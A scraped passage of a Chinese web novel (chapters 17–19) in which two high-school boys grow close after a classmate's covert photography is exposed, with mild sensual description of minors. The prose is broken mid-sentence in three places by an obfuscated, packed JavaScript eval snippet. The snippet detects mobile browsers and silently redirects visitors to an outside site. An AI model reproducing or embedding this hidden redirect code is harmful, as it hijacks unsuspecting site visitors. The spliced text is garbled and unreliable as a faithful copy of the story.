看到褚亭玉眉头锁得更紧,周君珩心里也跟着一紧,莫名感到了压力。明明是平辈,可褚亭玉沉下脸不说话时,那股不怒自威的气势,竟让他恍惚生出几分面对家中不苟言笑长辈的错觉,颇不自在。
他抿了抿有点发干的嘴唇,在对方的注视下,声音不由低了下去,添了句解释:“他们都挺忙的,别打扰他们了。”
褚亭玉没说话,就那么沉沉看着他。过了几秒,他一言未发,转开脸,看向自己那边的车窗外。侧脸线条在窗外忽明忽暗的光影里,看起来有些疏离的冷漠。
车里彻底安静下来。
周君珩看着褚亭玉留给他的侧影,心里那点说不清道不明的闷气又冒了出来,堵得他不太舒服。手臂的钝痛也凑热闹隐隐作祟,搅得他心烦意乱。
他也说不清,是气自己好像多管闲事惹人嫌了,还是委屈于对方这副拒人千里的样子。
车子平稳地停在一个环境看起来相当不错的小区门口。
“到了。”开车的年轻警官小李出声提醒。
周君珩用没受伤的左手去够车门开关。刚把车门推开一条缝,旁边也传来“咔哒”的轻响。
他动作一顿,扭头看去。
褚亭玉已经下了车,夜风拂动他沾了灰的裙摆。他隔着敞开的车门,目光平静地望过来。
意思不言而喻。他要送他进去。
周君珩胸中盘踞了一路的闷气,在对上那双沉静眼睛的刹那,不知怎么就散了大半。
那句“不用送”在喉咙里滚了滚,再出口时,声音软和得他自己都意外:“其实......也没几步路。”话刚说完,心底那点压不住的小小雀跃便不合时宜地钻了出来,很没出息,但不反感。
真是见鬼了。莫名其妙地怄气,又莫名其妙地云开雾散。他觉得自己最近,不太对劲。
他小心挪下车,站稳。
褚亭玉没言语,只是绕到车这边,很自然地走到周君珩身侧稍后一点的位置,既不会显得太近,又能随时扶一把。
周君珩向小李警官道了谢,看着警车开走。小区门口明亮的灯光倾泻而下,将两人笼罩在光晕之中。他转过身,看向身旁的褚亭玉。
对方的白裙早已不复洁净,裙摆上沾染着几点难以分辨的暗色污迹。
然而褚亭玉站得笔直如松,眼神依旧沉静无波,淡淡地迎视着他。
周君珩心里最后那点别扭也彻底没了踪影,之前的雀跃像水纹一样漾开,扩大。嘴角不自觉弯起一个细微的弧度,他往前迈了一步,声音比方才自然放松了不少:“走吧。”
夜晚的小区静谧安宁,绿化葱郁。高大的树木在路灯下投下斑驳摇晃的树影,空气里浮动着草木湿润的清香。
周君珩放慢了脚步,褚亭玉也默契地配合着他的步调。
两人便这样安静地并肩走着,脚步声轻叩着夜色,单元楼已在前方不远。
周君珩停下脚步,说:“挺晚了。”他顿了顿,目光不经意扫过褚亭玉的裙摆,话就顺口溜了出来,“你这一身,回去也不太方便。”他稍作停顿,迎上褚亭玉的目光,心跳快了些,“要不...今晚就在我这儿凑合一下?有客房。”
褚亭玉听了,眉梢困惑地微挑,显然没太理解这和他回家有什么不方便。
他刚想开口婉拒,视线却落回周君珩胸前碍眼的绷带上。想到他一个人吊着条伤胳膊,做什么都不方便,略一思忖,便点了点头。
于是,褚亭玉留宿在周君珩这。他本想着能搭把手照顾伤员,比如帮对方擦擦身什么的,虽然自己没有做过这些,但周君珩坚持自己单手也能应付洗漱换衣服。褚亭玉见状,也就不再勉强。
躺在客房的床上,褚亭玉毫无睡意。与他仅一墙之隔的浴室里,水声停了又起,其间还夹杂着东西落地的闷响。
他起身下床,走到浴室门外,敲了两下:“需要帮忙么?”
门里静默片刻,才传来周君珩的声音:“......不用,马上就好。”
褚亭玉没再追问,只在门外站了几秒,便转身走到客厅,在沙发里坐下。等着等着,困意渐渐上来,眼皮子开始发沉,人快要迷糊过去。
“咔哒。”
浴室门开了。
褚亭玉撩起眼皮看过去。
周君珩带着一身蒸腾的水汽从浴室里出来。深色睡袍松松垮垮套在身上,带子系得潦草,左边衣襟滑下肩头,露出一大片沾着水光的锁骨和紧实肩线,头发还在滴水。
显然没料到褚亭玉仍在客厅,他脚步一顿,脸上闪过一丝猝不及防被撞见狼狈模样的窘迫。
褚亭玉的目光在他身上停了一下,尤其在不灵便的右臂多看了两眼。他起身走到茶几旁,拎起之前放好的医药箱,朝沙发方向抬了抬下巴:“过来坐,该换药了。”语气很平常。
周君珩避开褚亭玉的视线,沉默着,绷着脸慢吞吞挪进沙发坐下。褚亭玉在他身侧落座,距离不远不近,对方身上与自己同款的清淡沐浴露香,飘了过来。
褚亭玉伸手,轻轻撩开周君珩右侧睡袍宽大的袖口。
果然,底下靠近手肘处的绷带已经湿了,软塌塌地贴在皮肤上。
“对不......”周君珩几乎是脱口而出,小时候做错事被发现的紧张感冒了出来。但话没说完,就被褚亭玉一个没什么情绪的眼神止住。
他讪讪地噤了声。
褚亭玉垂眸,利索地拆解湿透的绷带。指尖偶尔擦过周君珩微凉的皮肤,能感觉到对方臂上的肌肉倏然绷紧。
纱布揭开,底下那片青紫肿胀的皮肉和细碎伤口暴露无遗,比之前瞧着更显狰狞。褚亭玉眉心不自觉地蹙紧,拈起棉签蘸了消毒水,动作放得极轻,小心翼翼地涂抹上去。
周君珩猛地倒抽一口凉气,手臂下意识就要往回缩。
“别动。”褚亭玉声音一沉,同时手掌稳稳托住他小臂下方。那掌心干燥温热,透过微潮的皮肤直抵过来。周君珩的身体一僵,果真不再动弹。
褚亭玉没再说话,麻利地重新上药,继而一圈圈缠上干净绷带。他的手指动作很快,却又很稳当。
周君珩屏息凝神,竭力忽略臂上那点微妙的触感。可胸腔里那颗心却不听使唤地咚咚狂跳,擂鼓似的动静震得他自己都心慌,唯恐被察觉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979761|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
客厅光线昏蒙,笼着低垂眉眼的褚亭玉。他睫羽浓密纤长,密密覆下,在眼睑下拓出小片阴翳,鼻梁挺直,鼻头小巧微翘。
周君珩的视线不由自主移,胶在褚亭玉的嘴唇上。
那唇形偏薄,线条利落如工笔细描,透出一股冷峭。但下唇正中央,偏偏缀着一颗小巧饱满的唇珠。
圆润,丰盈,似熟透浆果的软瓤,透出一种糜|艳的肉感。
昏光里,那唇珠洇着一点暧昧水光,润泽萤亮,饱满得仿佛指腹稍一用力便能掐出蜜汁。
它如此突兀地嵌在冷薄的唇线间,宛如皑皑雪地里骤然绽开的一朵猩红罂|粟,散发着无声而致命的蛊惑。
蛊惑人去品尝那极致的反差,用齿尖碾磨那点软肉,用舌尖去感受它那惊人的弹性和温热的触感。
周君珩脑子里突然嗡地一下,像是有什么东西短路了。一股陌生的热流猛地自下腹蹿升,瞬间燎红了耳廓和双颊。他喉咙发紧,喉结剧烈地滚了滚,又强抑着放缓,仿佛要把那突如其来的燥热与口干舌燥吞咽下去。
心跳声在耳畔咚咚咚地擂响,震得他神思恍惚,连带着半身都泛起异样酥麻。
他几乎是惊惶地猛别过脸,视线仓惶地钉在对面墙壁某处,可脑中却顽固地盘旋着那枚诱人沉溺的唇珠......以及自己齿尖莫名泛起的一丝噬咬般的痒意。
最后一个结打好,褚亭玉即刻松手,收拾好药箱起身。
“行了。”他奇怪地瞥了眼面红耳赤眼神飘忽的周君珩,只当是疼得厉害,冷声抛下一句,“再弄湿,你这胳膊别要了。”
说完,头也不回走回客房。
周君珩还陷在刚才那阵荒唐的燥热余波里,愣怔地低头看着重新包扎好的手臂。
脚步声去而复返,他惊得抬头,正好看到褚亭玉又折了回来。周君珩心头一跳,如同被什么烫到似的飞快别开脸,脸上刚消下去的热度又有卷土重来的趋势。
“头低些。”
低沉悦耳的嗓音从头顶落下,周君珩尚未回神,眼前光线倏地一暗。一条干燥柔软的毛巾,带着干净清爽的皂角味,兜头盖了下来,罩住了他还在滴水的脑袋。
紧接着,一只手隔着毛巾,毫无章法的力道,在他头上胡乱揉擦起来。动作谈不上温柔,甚至有些粗鲁,搓得他脑袋左右摇晃。
周君珩僵在毛巾底下,心头那团纷乱的燥热,竟被这略显蛮横的照顾方式压下去不少,只剩下些酸酸胀胀的东西,堵在胸口。
他默不作声,任由对方施为。
毛巾很快吸饱水汽,变得沉甸甸的。褚亭玉觉得差不多,手上力道一松,就要抽走毛巾离开。
手腕突然一凉。
周君珩用没受伤的手,带着点潮湿的凉意,抓住了他的手腕。
褚亭玉动作停住。
周君珩顶着半蒙头的湿毛巾,从毛巾下沿仰起脸望向他。
他脸上红晕未散,发丝凌乱地贴在额角鬓边,唯有一双眼睛亮得出奇。
“谢谢你。”语气是前所未有的认真。
褚亭玉垂下眼,看了看他抓着自己手腕的手,再对上那双亮得灼人的眼睛,沉默须臾。手腕微动,用了巧劲轻轻一抽,就把手抽了出来。
随即,他再次转身,这一次,再无停顿地步入客房,关上了门。
周君珩缓缓扯下头上的毛巾,顶着一头被揉得更乱的半湿头发,看着紧闭的客房门。指腹无意识地捻了捻,仿佛还残留着方才腕间玉一般微凉的触感。
客厅里静极了,静得能听到自己还没完全平复的心跳。他整个人向后深陷进柔软的沙发,仰头,目光失焦地望着天花板上模糊的光影。
他抬起裹着白绷带的右臂,伤口一跳一跳地抽痛着。可这点疼,比起此刻心里那种复杂莫名的、轻飘飘的、鼓胀的暖意,似乎也算不得什么了。
“还挺值的......”他几乎无声地翕动嘴唇,轻语低喃,字句消散在空气里,只有自己能听见。
片刻后,低低的笑声闷闷地从喉间溢出,周君珩的肩膀随之轻轻耸动了几下。
很值,是真他妈值。
18.第 18 章
警方动作很快,疤哥一伙本就是惯犯,进了局子没撑多久便全盘招供,顺藤摸瓜,把给他们通风报信的人也供了出来。
周君珩把这个消息告诉褚亭玉时,他正跨坐在原主那辆旧电动车上试车。
阮筝母亲临时有事,托老人捎话,让他有空去接一下阮筝。褚亭玉初次接触这种两轮子的车,平衡感却像是与生俱来,车头只晃了两下就稳住了。
吴清?
这个名字在脑中过了一遍,没找到半点印象。褚亭玉不怎么在意,源头找到了,后面的事,该怎么处理就怎么处理掉好了。
到了阮筝练舞的地方,褚亭玉脚撑着地,低头给周君珩回消息。没多久,一群穿着练功服的女孩走了出来,阮筝正和一个高挑的女生边走边聊。
刚走下台阶,阮筝一眼就看见了街角那辆熟悉的旧电动车。
车座上的人长腿轻松支地,脊背挺得笔直,夕阳的金光落在他发梢,校服领口上方露出一小片白皙脖颈。明明还是那张脸,却像被什么东西彻底重塑过,坐在那里,就比周围的街景都要亮几分。
“我弟来接我了,先走一步。”阮筝拍了拍同伴的胳膊。
女生顺着她的目光望过去,有些惊讶地睁大了眼:“你弟弟?哪个啊?”
阮筝朝褚亭玉的方向指了指。
女生愣了愣,眼里浮出困惑:“这......是上次来的那个?还是你家有两个弟弟?”
阮筝没答,沉默几秒忽然问:“你也觉得他变化很大?”
“何止是大。”女生忍不住啧了一声,眼睛发亮,“哎,说真的,你弟现在有女朋友没?”
阮筝皱了皱眉,古怪地打量着女生。她知道这朋友平时眼光挺高的,喜欢成熟稳重的类型,今天怎么突然对自家这个闷葫芦弟弟感兴趣了。
“他还没成年呢。”阮筝提醒道。
“逗你的啦。”女生笑着推了她一把,“快去快去,别让你弟等久了。”
阮筝走到电动车旁时,褚亭玉刚好抬眼看向她。她跨上后座,鼻尖蹭到一缕清清爽爽的木质香。不是褚亭玉平时用的那款廉价薄荷味,倒像是某种干净的草木香,混着点阳光晒过的暖意,闻着很舒服。
电动车刚骑出没多远,风卷着那股味道飘过来,比刚才更清晰了些。阮筝忍不住往前凑了凑,鼻尖几乎要碰到褚亭玉半束起的头发,才确定香味确实是从他头发里散出来的。
“你换新洗发水了?”她问,声音被风刮得有点散。
前面的人没立马回答。直到前面路口红灯亮起,车子稳稳停下,褚亭玉才侧过头,简单吐出两个字:“不是。”
阮筝张了张嘴,想问清楚那是什么香。可看着他没什么表情的侧脸,最后还是没问出口。
绿灯亮了,电动车重新启动,风再次迎面扑来,那缕淡淡的木质香,就这么一直萦绕在鼻间,香气缠着她的鼻尖,一路跟着回了家。
褚亭玉把电动车停好。
他和阮筝住在同一栋楼,是楼上楼下的邻居。
上楼时,褚亭玉顺口提起了贴吧帖子的事,把警方查到是吴清在背后搞鬼告诉了阮筝。
楼梯间的声控灯随着他们的脚步声亮起,阮筝刚迈上两级台阶,突然停下。她背对着褚亭玉,肩膀微微发紧。
“怎么了?”褚亭玉的声音从身后传来。
阮筝转过身,指尖无意识地绞着练功服的衣角。她犹豫了一下,还是说了出来。
吴清之前跟她告过白,被她拒绝了。或许是因为这个,他才把气撒到了和她走得近的褚亭玉身上。话里的懊恼藏都藏不住。
褚亭玉听完,只是淡淡地说了一句:“不关你的事。”
阮筝抿着唇没说话,显然没听进去。走到三楼时,她停下脚步,低声说了句“我进去了”,转身打开家门进去了。
褚亭玉看着那扇关上的门,在原地站了两秒,才转身接着上楼。
晚饭时,老人没怎么动筷子,眼神总往褚亭玉这边瞟,眉头始终没舒展开。褚亭玉吃完最后一口饭,放下筷子,这才开口说学校那边没事了,不会被开除。
老人愣了一下,随即脸上露出个浅淡的笑,嘴里应着“那就好”,眼里的愁绪却没散多少。褚亭玉看在眼里,没多问,拿起自己的空碗往厨房走。
“放着吧,我来洗就行。”老人说着,身子却没动,依旧坐在桌边发怔。见褚亭玉没应声,已经打开水龙头搓起了碗,她也没再拦,只是望着厨房门,轻轻叹了口气。
褚亭玉擦干手从厨房出来,老人仍对着空气发呆。他没作声,回房拿了换洗衣物,再穿过客厅时,藤椅空着,桌上的碗筷还摆在那里没收拾。
仰面躺在床上,褚亭玉才想起来周君珩之前发信息说有事找他,当时他正骑车,没顾上细问,后来就忘了回。
他摸出手机按开信箱,除了那条提到“查到一些东西”的信息,下面还跟着两条。
一条间隔了大约半小时:【方便的话出来?边吃边跟你说。】又隔了一个多小时,是一条:【在忙?】
他这里离周君珩的小区不远,褚亭玉没怎么犹豫,收起手机,起身下床换衣服。
周君珩刚到小区门口,就瞧见了路灯下的人。
褚亭玉斜靠在电动车旁,身子颀长高挑,夜风掀起他额前的碎发,露出光洁的额头和凌厉的眉骨,眼尾微扬时带着点艳色。普通的夏季校服穿在身上,显得肩线窄瘦,指尖夹着支烟,猩红的火光明灭不定,把他下颌线的阴影拓得愈发清晰。那姿态说不出的散漫,偏又透着股生人勿近的张扬。
周君珩心里有有点意外,脚步不由慢了些。
走近了才看清,他手里的烟好像没怎么抽,积了长长一截烟灰。周君珩不抽烟,也不喜欢烟味,但看着褚亭玉仰头吐烟圈的样子,竟没生出半分不适。
“怎么这么晚还过来了?”他的视线不自觉在对方唇线停留一会,又移开,落在那截夹着烟蒂的手指上。
褚亭玉吐出的烟圈被风吹散,捏着烟的手指一屈,没再抽。他往前挪了半步,周君珩闻到淡淡的烟味,混着点皂角清香。
“头发没擦干?”褚亭玉的目光落在他颈后。周君珩这才意识到自己出来得太急,发尾还在滴水,连带着衣领都翻翘起来。
下一秒,褚亭玉的手神了过来。微凉的指尖擦过他颈后皮肤,替他把外翻的衣领理好。动作很自然,却让周君珩身体微微一僵,浑身的汗毛都立起。他清晰地看到褚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018189|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亭玉垂下的眼睫,长而密,在眼下投出浅浅的阴影,鼻尖几乎要碰到对方的额头。
褚亭玉的手下移,轻轻按了按他胸前的绷带。
“没湿。这回知道学乖了。”他收回手,眼神对上周君珩的,语气平淡,“不是你叫我出来,说有东西给我看?”
周君珩喉间发紧,避开他的视线,往旁边偏了偏头:“嗯,前面有家网吧,去那儿说吧。”
网吧不远,两人走了几分钟,拐了两个弯就到了。
周君珩开了个包厢,开机后左手艰难地操作着鼠标,登进网盘,打开几个文件。屏幕上跳出来的照片大多是阮筝,背景多是学校周边,舞蹈室窗边压腿,校外补习的路上......偶尔夹杂几张原主穿着裙子的照片,角度都刁钻得很,显然是刻意偷拍的。
褚亭玉看着屏幕,脸色一点点沉下去。下午阮筝的话浮现在脑海,不用想也知道是谁的手笔。
他指尖在桌沿轻轻敲着。
未成年,又是这种没造成实质伤害的偷拍,真要追究起来,恐怕也定不来什么罪。
“底片我让人处理掉了。”周君珩的声音在旁边响起,左手握着鼠标,删除的进度缓慢爬升,“他网盘里的备份,也都清干净了。”
意思就是只剩下眼前这些。
褚亭玉从屏幕移开视线,看向周君珩。
“你好像......”他顿了顿,目光落在周君珩缠着绷带的右手上,“没必要做到这份上。”
周君珩被他看得手心发紧,握着鼠标的手指动了动,找了个借口:“吴清那小子,之前不也想找我麻烦来着,大概是看我不顺眼。他搞这些小动作,我也没打算放过他。”这话听着有点勉强,但他说的时候眼神很坦然,像是真的只是顺水推舟。
褚亭玉盯着他看了两秒,移开视线,重新看回电脑屏幕,淡淡“嗯”了一声,没再追问。
他看着周君珩磕磕绊绊的鼠标轨迹,忽然倾身过去,左手撑在周君珩的椅背边缘,避开他受伤的右臂,带起的风扫过对方颈侧,右手已经扣住鼠标:
“磨叽。”
两人一下子贴得极近,周君珩能闻到他发间淡淡的烟味,混着点和自己同款的熟悉香味。他没动,松了手,只觉得半边身子都僵着,侧脸几乎要贴上褚亭玉的鬓角。
褚亭玉动作很快,指尖在鼠标上灵活滑动,没多久就清完了所有照片。他侧过脸想说话,鼻尖却不偏不倚蹭到周君珩的。
两人都是一怔。
周君珩眼睛微微睁大,下意识往后仰,后背撞到椅背,退无可退。
包厢里静得能听见彼此的呼吸。
褚亭玉看着他眼底一闪而过的慌乱,蓦地低笑一声,唇角弯了弯,极淡,却像有光落在上面。
“你用的洗发水,是什么牌子的?”他问,语气很轻。
周君珩被那笑意晃了神,脑子里空了半秒才反应过来问题。他平时的东西都有专人打理,哪注意这些,只能愣愣地说:“不知道......回去我看看,再跟你说。”
褚亭玉点了点头,直起身坐回自己的位置,仿佛刚才那瞬间的靠近只是错觉。周君珩还僵着,手心里沁出点薄汗,鼻尖似乎还残留着对方呼吸的温度。
19.第 19 章
第二天到教室,褚亭玉拉住相熟的同学问清吴清的座位。他倒要看看,这只躲在暗处搞小动作的老鼠究竟长什么样。可接连几天,那座位都空着,问了班主任才知道,对方上周就请了长假。
直到周五午休,走廊里几个同学的议论才解开了谜团。
“哎,听说了吗?吴清转学了,好像全家搬到外地去了。”
“这么突然?前两天不还在群里聊周末去哪玩呢......”
褚亭玉正倚墙低头,按着手机按键玩贪吃蛇,听到这话,手指头停了一下,屏幕上的蛇瞬间撞墙毙命。
“啧。”他不爽地咂了下嘴,把手机揣回裤兜。本想亲自找那家伙算算账,这下倒好,人直接跑没影了。这口气,暂时是出不成了。
这些天与周君珩同进同出,褚亭玉渐渐习惯了在走廊拐角看见那个身影。身形颀长的少年立在光影里,校服穿得整齐,右臂打着绷带吊在胸前,左手随意垂落。眉眼清隽,干净得像浸在冰水中,明明只是寻常站着,却总引得路过的人频频回眸。
褚亭玉没料到周君珩在校内如此瞩目,几乎无人不识。他自身浑然未觉,但旁人显然还不习惯他俩同行。不过褚亭玉上辈子早历尽各色目光,这点关注浑不在意。
放学路上,他随口提了这事。
周君珩走在一旁,应道:“嗯,我知道。”
褚亭玉侧目看去,对方垂着眼帘走在树荫下,语气里听不出办半分异样。他眉梢微挑,往周君珩那边靠了靠,肩膀不轻不重地撞了下对方的胳膊。
“别装了。”
周君珩猝不及防,踉跄着晃了晃,下意识扶住褚亭玉的胳膊才站稳。抬眼正撞上褚亭玉的目光,对方眉峰略抬,眼中带着几分难得的调侃,全无平日的冷冽。
像被藏在硬壳里的爪子轻轻挠了一下,周君珩喉间溢出一声低低的笑声,带着无奈的纵容。
“笑什么?”褚亭玉被他笑得莫名,眉峰挑得更高。
周君珩摇摇头,目光扫过他肩上滑落的书包带,伸手替他提好。指尖刚碰到带子时,对方似要侧身避开,却又没动,任由他整理妥当。
“没什么。”他收回手,望向路口变换的红绿灯,“其实跟我关系不大。吴清他爸挪用公款赌博,事发后全家急着跑路,这才连夜转学。”
褚亭玉听完,轻哼一声:“倒是便宜他了。”
日子就这么一天天过去,周君珩胳膊上的绷带终于拆了,右手虽然还不能使大力气,但应付日常小事已无大碍。
最后一节自习课近尾声,班主任王艳抱着教案走上讲台,粉笔在黑板上唰唰写下:本次月考安排。
褚亭玉这才恍然,难怪最近教室里的气氛总是绷着根弦。
不过这事对他来说,就跟今天是晴是阴般无关紧要。原主成绩本来就不怎么样,他这个穿过来的灵魂,更没兴趣跟数理化死磕。
午间食堂,周君珩已经占好位置。他正低头对付餐盘里的清蒸鱼,右手握着筷子,动作虽然慢但还算稳,夹起一片鱼肉,仔细剔掉边上的小刺,再放到手边的空碟里。刚拆绷带的胳膊抬着,幅度不大,神情专注。
褚亭玉端着餐盘在他对面坐下,目光落在他尚不利索的手上,忽然想起考试的事。
“你手这样,写字行吗?”
就算再不关心学校的事,他也知道周君珩是年级红榜的常客。
周君珩抬头,筷尖正夹着一块挑净刺的鱼肉:“早能写了,就是慢些。”他将鱼肉放入碟中,和先前剔好的堆在一起,推到褚亭玉面前。
褚亭玉看了眼那碟剔得干干净净的鱼肉,又抬眼望向对面的人。他自己在食堂很少点鱼,即便点了也是草草吃几口。
他爱吃鱼,但嫌挑刺麻烦,更厌恶鱼刺卡喉的感觉。这从未明说的事,不知怎的被周君珩看在了眼里。
这段时间,周君珩总多点一份鱼,今天更是连刺都替他剔净了。
“顺便练练手指灵活度。”周君珩捏着筷子,指尖在半空轻巧动了动。
褚亭玉没作声,只是迅速将自己餐盘里的排骨尽数划到周君珩盘中,根本不给对方推拒的机会。周君珩愣了一下,刚想开口,就见褚亭玉已经夹起一块鱼肉送进嘴里,没再给他半分眼神。
周君珩看着他这般模样,嘴角极轻地弯了一下,快得难以捕捉。他安静看了他片刻,才伸筷夹起一块排骨,低头吃起来。
两人吃完走出食堂,正看见阮筝从旁侧的回廊走出,手里拿着一本练习册。见了他们,她加快脚步迎上来,额角沁着细密的汗珠。
“小玉,”她看向褚亭玉,“放学等我会儿?一起走?”
褚亭玉颔首:“行。”
他和阮筝住一处,只是阮筝练舞结束晚,他近来又总顺路和周君珩同行,两人碰面机会不多。现在突然提出要一起回去,多半是有话要说。
阮筝这才转向周君珩,礼貌点头致意,又对褚亭玉道:“那放学后在教学楼下等我?”
“到时候再说。”褚亭玉答得漫不经心。
阮筝也不在意,笑了笑就转身要走,经过周君珩身边时,发丝随风扬起,一丝熟悉的草木香飘了过来。
周君珩指尖无声蜷起。
他下意识望向阮筝离去的背影,旋即转回视线,落在身侧的褚亭玉身上。
恰在此时,褚亭玉也侧过头:“今天你自己回?”
目光相接,空气里似有无声的张力在拉扯。就在褚亭玉微感异样,准备开口询问时,周君珩轻轻点了点头。
两人走到二楼,周君珩停下脚步。
“上去吧。”他说。
褚亭玉迈上台阶,心里转了转。周君珩方才的样子,瞧着是有点蔫蔫的。
他不太搞得懂这个年纪的男生都在想什么。难道只是一天没一起走,就会不开心?
上辈子,褚亭玉身边要么是利益捆绑的关系,要么是趋炎附势之辈,真能算得上朋友的,几乎没有。
普通朋友该怎么相处?界限在哪?该有什么样的情绪反应?他脑子里根本没这个概念。
或许......朋友之间就是这样?
他们俩现在这关系,勉强能算个朋友吧。
他往上走了两阶,脚步顿住。转过身,看见周君珩还站在原地没动。褚亭玉忽然冲下面的少年笑了笑,语气挺平常地说:
“明早我顺路接你啊。”
说完,随意挥了下手。
周君珩愣了愣,才抬手慢慢挥了挥。
下午的课,周君珩一个字也没听进去。
练习册摊在桌上,笔尖停在公式推导到一半的地方,半天没动。
那香味......市面上绝对找不到一样的。
不就是把他送的东西转手给了别人吗?
多大点事,他想。
褚亭玉爱跟谁走近,又关他什么事?
可不知为何,心里就是堵得发慌,闷闷的,不太舒服。
他试着把这归结为朋友间的占有欲,但立刻又觉得不对。他努力去想从小一起长大的朋友,还有学校里关系不错的同学。
不行,完全不一样!
他不会因为朋友跟别人多聊几句话就觉得不舒服,更不会在靠近朋友时,生出那种带着隐秘渴望的亲近欲念。
只有对褚亭玉。
只有靠近褚亭玉的时候,他才会像短路失控的电路板,全身感官都变得异常敏感,心跳快得要撞破胸膛,血液奔流的声音在耳中轰鸣。
他想起上次在网吧,褚亭玉凑近时的呼吸落在颈侧,带着点烟草和肥皂混合的气息,当时他浑身的汗毛都竖了起来,却偏偏不想躲开。
还有更早之前,褚亭玉在家里帮他换药那回。对方盯着他湿了的绷带皱眉头,低垂的睫羽微微颤动,唇珠靡艳饱满。
过去这么久,他仍清晰记得那股直击灵魂的悸动。
想亲他。
事后回想,那股悸动竟一路延续到了当晚的梦里,醒来时一身冷汗,心里只剩下惊惶,还有对那瞬间念头的难以置信与荒谬感。
这绝对不对劲。
周君珩第一次认真琢磨起这种陌生的情绪。他知道自己这个年纪,对异性产生朦胧的好感甚至冲动,都是再正常不过的事。
可对象......对象怎么会是褚亭玉?
一个男生?
更让他惶恐的是,这念头冒出来还不止一次。梦里不再是模糊的光影,全是清楚得令人心慌的画面。每天晚上梦里那种呼吸都缠在一起的感觉,惊醒时浑身发烫的触感,都让他无地自容,只想把自己埋进被子里,连指尖都在发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057535|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颤。
放学铃一响,他几乎是逃也似的出了教室。走到校门口,司机已经把车停在路边,他拉开车门坐进去,声音发沉:“先别开,等等。”
在教室里闷头想了一下午,周君珩得出一个连自己都觉得离谱的结论:
他大概,是喜欢褚亭玉,是带着情|欲的那种喜欢。
可褚亭玉再怎么好看,终究是个男生。
光是“喜欢男生”这几个字在心里刚成形,一股尖锐的排斥感就猛地撞上来,混着浓得化不开的羞耻直往天灵盖冲。
这和他从小被灌输的、周围人默认的规则背道而驰,像突然踩空了脚下的路,直直坠入了完全陌生的深渊。
他茫然地看着车窗外,第一次对自己产生了彻骨的怀疑,还有一丝藏不住的恐慌。
这感觉太汹涌了,陌生得像骨子里钻出的异物。他甚至觉得这念头是肮脏的,见不得光的,像附在身子上的毒,让他连呼吸都带着滞涩的沉重。
他不知道自己到底怎么了,只觉得心乱如麻。
司机透过后视镜看了他好几眼。
校门口放学的人渐渐走空,这位小少爷始终一言不发,只是定定地望着校门方向,不知在想什么。
没多久,一男一女骑着电动车一前一后从校门出来。
“开车。”他低声吩咐。
司机连忙挂挡起步,刚要提速,后座又补充道:“慢点开。”
黑色轿车保持着不紧不慢的速度,隔着一段距离,跟在那辆电动车后面。周君珩的视线落在前面那个挺直的背影上,风掀起校服外套的一角,露出里面干净的白T恤。
前面的两人似乎开始交谈,阮筝侧过头说了句什么,褚亭玉便也微微侧过脸回应,嘴唇动了动,隔着车窗和距离,什么也听不清。
男生和女生同行,符合所有人默认的轨迹。
周君珩盯着这再寻常不过的画面,有些出神。
直到该直行的路口,他忽然开口:“右转。”
司机一愣,这不是回周君珩住处的方向,但还是依言打了方向盘。
褚亭玉骑着车,阮筝并排在他左侧。风声呼啸,巷子里的光线比外面马路暗了不少。阮筝好像有点走神,车速渐渐慢了下来。他余光瞥了眼车后视镜里那辆黑色轿车,眉头轻蹙。
这种老城区的偏巷里,这样的豪车实在太过显眼。
从校门口出来,这车就一直跟着。起初他以为是碰巧同路,可都拐进这偏僻巷子了,那车还不远不远地缀着。
他放慢车速,等了等身后的阮筝。这一路两人没怎么说话,他知道阮筝特意约他一起走,肯定有话要说,索性等着她开口。
“就在这里停一下吧。”阮筝忽然说道。
褚亭玉脚撑着地停下,正好让那辆黑色轿车从旁边驶过。车子不紧不慢地开着,没有要停的意思。他看着车尾灯消失在巷子口,心里那点疑虑淡了些,大概真是自己多心了。
“怎么了?”他转头问阮筝。
阮筝偏头看着他,犹豫了一下才说:“前几天.......我看见你妈妈了。”
褚亭玉握着车把的手一顿,没说话。
“就在楼下,跟你姥姥站在楼道里,好像在吵架。”阮筝声音放轻了些,“没听清说什么,就是.......感觉气氛不太好。”
整栋楼都知道褚亭玉的妈妈是个什么情况。常年不回家,回来准是要钱,邻里间总传些闲话,说她在外头赌钱欠了债,跟不三不四的人混在一起。
褚亭玉小时候没少因为这个被其他孩子指着骂“没爹没娘的野|种”。时间长了,他们母子俩见面就跟仇人似的,说不上三句话就得吵起来。老人夹在中间,头发白得都比以前快了。
“她应该还没走,她要是......要是来找你,你别跟她硬顶。”阮筝小心地说。
褚亭玉“嗯”了一声,语气听不出情绪:“放心,我有数。”
两人重新骑上车,往家的方向去。
